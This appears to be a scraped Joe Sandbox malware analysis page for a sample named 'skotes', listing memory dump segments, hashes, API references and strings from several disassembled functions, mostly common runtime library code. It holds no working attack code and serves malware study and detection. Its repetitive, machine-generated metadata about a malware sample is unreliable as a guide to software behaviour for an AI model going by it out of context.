Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: e807674fb83d5fe80009b8c2309369f178c5075cd3fd0768aec0f8cf29bd3112
Instruction ID: 82fc4aa671e20c02eed8df6b320fbe8b8ced057919f118827710b7268ecd6da6
Opcode Fuzzy Hash: e807674fb83d5fe80009b8c2309369f178c5075cd3fd0768aec0f8cf29bd3112
Instruction Fuzzy Hash: 1E8170B0A11B62BBD708DF78D441BD9FAA8BF19704F10431AF528D7281DBB4A564CBD1

Function 0011EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0011EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0011EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0011EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0011EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0011EF31

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: cb7c9f20262d32c7a450423c115ff55130750982ac950c23a3767fa2049efbd5
Instruction ID: 9ad973d17e1c1857a1391dcb35df52a0e716692eb7df98e342423a60883719bf
Opcode Fuzzy Hash: cb7c9f20262d32c7a450423c115ff55130750982ac950c23a3767fa2049efbd5
Instruction Fuzzy Hash: 19214B7081421A8ADF2CDFE4C8556EEBBF0BF24320F200A3DE851A61D1E7B14AC5CB51

Function 00131B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00131B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00131B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00131C2A

Strings

pContext, xrefs: 00131C22
switchState, xrefs: 00131B5E

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 1b226bb72ec6bd7cafae320a351cbade703de50dedda05fcb34b689f2ba75fc2
Instruction ID: 53e34bbf16e0c21bc344ef310cf556fa1a14f58254602fc828bfad90274f1330
Opcode Fuzzy Hash: 1b226bb72ec6bd7cafae320a351cbade703de50dedda05fcb34b689f2ba75fc2
Instruction Fuzzy Hash: 2D31C635A40214FBCF09EF64C885AADB3B5FF58314F204569ED15AB286EB71EE05CB90

Function 0013727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001372BE

Strings

.com, xrefs: 001372FE
.exe, xrefs: 001372CB
.bat, xrefs: 001372ED
.cmd, xrefs: 001372DC

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 104b874b445bcb14347c6186ba254b08711990132be1464f41730bc9ab9af1ec
Instruction ID: f3489babc58780b8d82664c885bf59b28f40a1f535a1ab1dc10b0bb8a77e9799
Opcode Fuzzy Hash: 104b874b445bcb14347c6186ba254b08711990132be1464f41730bc9ab9af1ec
Instruction Fuzzy Hash: 8701D26770CA2639E6352059AD03B6B17989BD2BB4F26002AFD64FB2C1EF54DD4261A0

Function 0011FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0011FB06

Strings

GetThreadGroupAffinity, xrefs: 0011FA93
GetCurrentProcessorNumberEx, xrefs: 0011FABE
kernel32.dll, xrefs: 0011FA7A
SetThreadGroupAffinity, xrefs: 0011FA87

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 061c6d46428f2d1c401f3b2d4524ade5bf5554cffcafc988e9f119088109530f
Instruction ID: 56bfdbfbe8a4afca119eb811419c964cfc7c6f72ea339b8a88300fef36a2a996
Opcode Fuzzy Hash: 061c6d46428f2d1c401f3b2d4524ade5bf5554cffcafc988e9f119088109530f
Instruction Fuzzy Hash: 0B01F522941325AEB31576B96C82ABB75DC9E06648B201E3AF820F7183EFE5E8454275

Function 00132097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001320B7

